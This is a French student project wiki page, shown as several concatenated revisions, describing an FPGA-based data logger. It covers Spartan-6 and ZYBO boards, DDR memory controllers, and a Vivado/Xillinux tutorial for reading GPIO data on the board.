*Datapath
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.
*Physical Interface (PHY) ou interface physique:
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.
*Calibration Logic:
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.

===Proposition de solutions===
====Récuperation et affichage des données avec la pateforme ZYBO====
Voici une liste de matériel pour réaliser cette solution:
*Plateforme ZYBO
*Alimentation 5V 3A
*Carte microSD 4Gb (2Gb minimum)
*Cable RJ45
*Linux type Debian 
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs: 

=====Téléchargement et installation=====
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] 
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. 
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files 
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail 
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail 
=====Création d'une carte bootable sur ZYBO=====
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie "récupération" des données. Si vous utilisez ce fichier .zip, sautez directement au point . 
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr 
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design 
h°)Supprimer l'IP pour adresser les LEDS 
i°)On va créer un nouvel IP, tool->Create and Package IP...; next; name-> myLed; next 
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed.
*Interface type ->Lite
*Mode ->Slave
*data width ->32 bits
*number of registers ->4
*Name->S00_AXI 
k°)La fenêtre suivante permet de choisir l'option "edit IP" 
l°)Dans le projetct manager, ouvrir "myLed_V1..." et ajouter à la ligne 18 :
{| width=10%
|<pre>output wire [3:0] led, </pre>
|}
et à la ligne 400 :
{| width=10%
|<pre> assign led=slv_reg0[3:0];</pre>
|}

m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ». 
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED. 
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. 
p°) Dans le flow navigator, cliquer sur create bitstream. 

=====Préparation et utilisation de la carte µSD=====
q°)Dans notre dossier de travail, nous avons 4 fichiers :
*boot.bin
*devicetree.dtb
*uImage
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit
 
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted. 
s°)Copier les quatre fichiers sur la partition de 36Mo. 
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board. 

Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python. 
=====Récupération des données des GPIOs=====
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado : 

On voit que les offset des LED et des SWITCH correspondent.
J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. 

J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. 
[[Fichier:Tuto9.PNG|500px|thumb|center)]]
Rapport de projet
|
2015 / 2016
Récupération des données des GPIOs
C'est là que le fichier d'adressage qui se situe dans
Pack_bit
si vous n'avez pas fait votre
propre bitstream
ou dans Vivado → Open Block Design → Adress Editor, va nous servir.
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un
fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans
/dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que
l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado:
[[Fichier:Adress_map.PNG|500px|thumb|center)]]

On voit que les offset des LED
et des SWITCH correspondent.
J'ai ensuite crée un serveur
apache sur le linux du ZYBO et j'ai
affiché les données que j'ai collécté
sur un graphique que je peux atteindre
en tapant l'adresse ip de la machine.
J'ai pu mesurer la vitesse
d'acquisition des données, celle ci
n'est pas très élevé. On obtient 180 Ko/s. Ce
pendant cette méthode est utile si on veut
récupérer les données qui sont dans la RAM.
En effet, j'ai pu tester des codes en C qui
permettent de récupérer directement les
données qui sont dans la RAM à partir du linux
embarqué.

==Fichiers==
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]
*Empreinte sous Altium Designer pour le connecteur DDR3
 
 
 

==Shopping==
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&entryPoint=adirect&messageType=catProductDetail&showAddButton=true&productID=1008153012207LF datasheet])
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])
*Recuperation de DDR1 au service informatique de Polytech

==Sources==
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] 
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité] 
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] 
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)] 
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations] 
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] [https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]

P2 Data Logger

2016-02-23T19:24:01Z

Avinot : /* Récupération des données des GPIOs */

==Cahier des charges==
===Présentation générale du projet===
====Dénomination du sujet par les enseignants====
{|class="wikitable centre"
|-
! scope="col" |Objectif
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques
|-
! scope="col"|Description
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.

Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.

Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)

La plate-forme sera constituée de :
*Un FPGA permettant de contrôler le système,
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,
*Une mémoire RAM de stockage des données,
*Une interface permettant de gérer la plate-forme et de récupérer les données.
|}

====Contexte====
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un "data logger". Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...

====Objectif du projet====
*stocker en RAM une série de donnée le plus rapidement possible
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)
*rendre modulaire le code en permettant d'ajouter un fréquencemètre
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM

===Étapes du projet===
Le projet va se dérouler en plusieurs étapes. 
1)Etude des plates-formes de programmation
 
2)Etude de la problématique
 
3)Proposition de solutions et argumentaire

===Choix techniques : matériel, logiciels, sources===
*[http://www.opencores.org OPENCORES.ORG]
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)

==Suivi des étapes du Projet==
===Etude des plates-formes de programmation===
====TE0600 & TE0603====
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le "cerveau" du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement.
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)] 
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet] 
=====Caracteristiques SPARTAN 6 XILINX LX45=====
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]
'''General'''
*consommation: 0.6A
*45nm low power process technology with 6-input LUTs
*1080MHz clock management tiles (2 DCM + 1 PLL)
*320MHz Block RAM from 216 - 4824 Kbits
*Memory interface controllers blocks from 0 - 4
*1.08Gbps SelectIO™ technology
*390MHz DSP48A1 slices from 8 - 180
*Embedded processing 
 
Pour plus de détails: 
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]
 
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description] 
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation] 
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics] 

=====Caractéristiques de TE0600 =====
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine
* JTAG port (SPI indirect)
* FPGA configuration through:
* B2B connector
* JTAG port
* SPI Flash memory
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips
* 4.0 A x 1.2 V power rail
* 1.5 A x 1.5 V power rail
* 125 MHz reference clock signal
* Single-ended custom oscillator (option)
* eFUSE bit-stream encryption (LX100 or larger)
* 1 user LED
* Evenly-spread supply pins for good signal integrity
* Other assembly options for cost or performance optimization available upon request. 
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600] 

=====Caractéristiques du TE0603=====
*Board power supply via screw terminals, DC jack
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB
*Small form factor: 115x70 mm
*Micro SD connector
*5 Header connectors with up to 114 user IOs
*2 Push-buttons for reset and user function
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] 

===== Étude de la carte TE0603=====
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. 
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. 

En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le "driver" pour accéder en écriture et en lecture les espaces mémoires.
 

====ZYBO====
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.

*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)

====LX9 MicroBoard====
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6 et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.
 
 
 
 
 

===Etude de la problématique===
====Étude pour l'ajout de RAM====
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits: 
'''Historique:''' 
[[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]
Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.

After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in "dual channel mode" to increase memory throughput even further.

Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3.

{| class="wikitable alternance centre"
|+ Comparatif des performances de DDR* RAM
|-
|
! scope="col" | DDR1 RAM
! scope="col" | DDR2 RAM
! scope="col" | DDR3 RAM
|-
! scope="row" | Nombre de pins
| 184
| 240
| 240
|-
! scope="row" | Vitesse d'horloge
| 100 MHz à 200 MHz
| 100 MHz à 266 MHz
| 100 MHz à 300 MHz
|-
! scope="row" | Taux maximum de tranfers
| 200 MT/s à 400 MT/s
| 400 MT/s à 1066 MT/s
| 800 MT/s à 2400 MT/s
|-
! scope="row" | Tension d'alimentation
| 2.5 V
| 1.8 V
| 1.5 V
|}

====IP pour SDRRAM====
[[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]
*Étude de l'IP pour l'adressage RAM
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:
**[http://opencores.org/project,sdr_ctrl opencore]
**Schéma fonctionnel:
 

Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.

====Etude des Memory Controller Blocks====
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]]
Il y a trois fonctions principales du point de vue de l'utilisateur:
*Lire le port (unidirectionnel)
*Écrire sur le port (unidirectionnel)
*Lire et écrire sur le port (bi directionnel)
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:
*Arbiter ou arbitre:
Il détermine quel port à la priorité pour accéder à la mémoire physique.
*Controller ou contrôleur:
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.
*Datapath
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.
*Physical Interface (PHY) ou interface physique:
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.
*Calibration Logic:
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.

===Proposition de solutions===
====Récuperation et affichage des données avec la pateforme ZYBO====
Voici une liste de matériel pour réaliser cette solution:
*Plateforme ZYBO
*Alimentation 5V 3A
*Carte microSD 4Gb (2Gb minimum)
*Cable RJ45
*Linux type Debian 
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs: 

=====Téléchargement et installation=====
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] 
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. 
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files 
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail 
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail 
=====Création d'une carte bootable sur ZYBO=====
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie "récupération" des données. Si vous utilisez ce fichier .zip, sautez directement au point . 
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr 
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design 
h°)Supprimer l'IP pour adresser les LEDS 
i°)On va créer un nouvel IP, tool->Create and Package IP...; next; name-> myLed; next 
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed.
*Interface type ->Lite
*Mode ->Slave
*data width ->32 bits
*number of registers ->4
*Name->S00_AXI 
k°)La fenêtre suivante permet de choisir l'option "edit IP" 
l°)Dans le projetct manager, ouvrir "myLed_V1..." et ajouter à la ligne 18 :
{| width=10%
|<pre>output wire [3:0] led, </pre>
|}
et à la ligne 400 :
{| width=10%
|<pre> assign led=slv_reg0[3:0];</pre>
|}

m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ». 
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED. 
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. 
p°) Dans le flow navigator, cliquer sur create bitstream. 

=====Préparation et utilisation de la carte µSD=====
q°)Dans notre dossier de travail, nous avons 4 fichiers :
*boot.bin
*devicetree.dtb
*uImage
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit
 
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted. 
s°)Copier les quatre fichiers sur la partition de 36Mo. 
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board. 

Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python. 
=====Récupération des données des GPIOs=====
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado : 

On voit que les offset des LED et des SWITCH correspondent.
J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. 

J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. 
[[Fichier:Tuto9.PNG|500px|thumb|center)]]

==Fichiers==
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]
*Empreinte sous Altium Designer pour le connecteur DDR3
 
 
 

==Shopping==
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&entryPoint=adirect&messageType=catProductDetail&showAddButton=true&productID=1008153012207LF datasheet])
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])
*Recuperation de DDR1 au service informatique de Polytech

==Sources==
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] 
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité] 
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] 
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)] 
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations] 
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] [https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]

P2 Data Logger

2016-02-23T19:23:37Z

Avinot : /* Récupération des données des GPIOs */

==Cahier des charges==
===Présentation générale du projet===
====Dénomination du sujet par les enseignants====
{|class="wikitable centre"
|-
! scope="col" |Objectif
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques
|-
! scope="col"|Description
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.

Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.

Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)

La plate-forme sera constituée de :
*Un FPGA permettant de contrôler le système,
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,
*Une mémoire RAM de stockage des données,
*Une interface permettant de gérer la plate-forme et de récupérer les données.
|}

====Contexte====
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un "data logger". Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...

====Objectif du projet====
*stocker en RAM une série de donnée le plus rapidement possible
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)
*rendre modulaire le code en permettant d'ajouter un fréquencemètre
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM

===Étapes du projet===
Le projet va se dérouler en plusieurs étapes. 
1)Etude des plates-formes de programmation
 
2)Etude de la problématique
 
3)Proposition de solutions et argumentaire

===Choix techniques : matériel, logiciels, sources===
*[http://www.opencores.org OPENCORES.ORG]
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)

==Suivi des étapes du Projet==
===Etude des plates-formes de programmation===
====TE0600 & TE0603====
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le "cerveau" du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement.
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)] 
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet] 
